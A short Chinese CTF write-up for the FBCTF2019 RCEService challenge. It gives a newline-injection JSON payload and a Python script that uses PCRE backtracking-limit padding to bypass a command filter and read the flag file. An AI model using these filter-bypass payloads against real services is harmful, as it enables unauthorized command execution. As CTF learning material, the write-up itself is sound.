[FBCTF2019]RCEService1

打开题目

它给出了提示要求json格式,先尝试一下{"cmd":"ls"} 

的确可以执行。接下来就记录过滤了那些关键字。发现键盘上有的特殊符号好像都被过滤。

flag在home目录下,不知道为什么find命令返回为空。。。

cat在这里仍然不能用。应该是环境变量配置被改变,所以需要使用/bin/cat调用命令

{%0a"cmd":"/bin/cat%20/home/rceservice/flag"%0A}

利用回溯次数绕过 ,post请求

gei请求会因为头太大而报错

代码:

import requests
 
payload = '{"cmd":"/bin/cat /home/rceservice/flag ","nayi":"' + "a"*(1000000) + '"}' #超过一百万,这里写一千万不会出结果。
 
res = requests.post("ip", data={"cmd":payload})
print(res.text)

python里面运行出结果

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值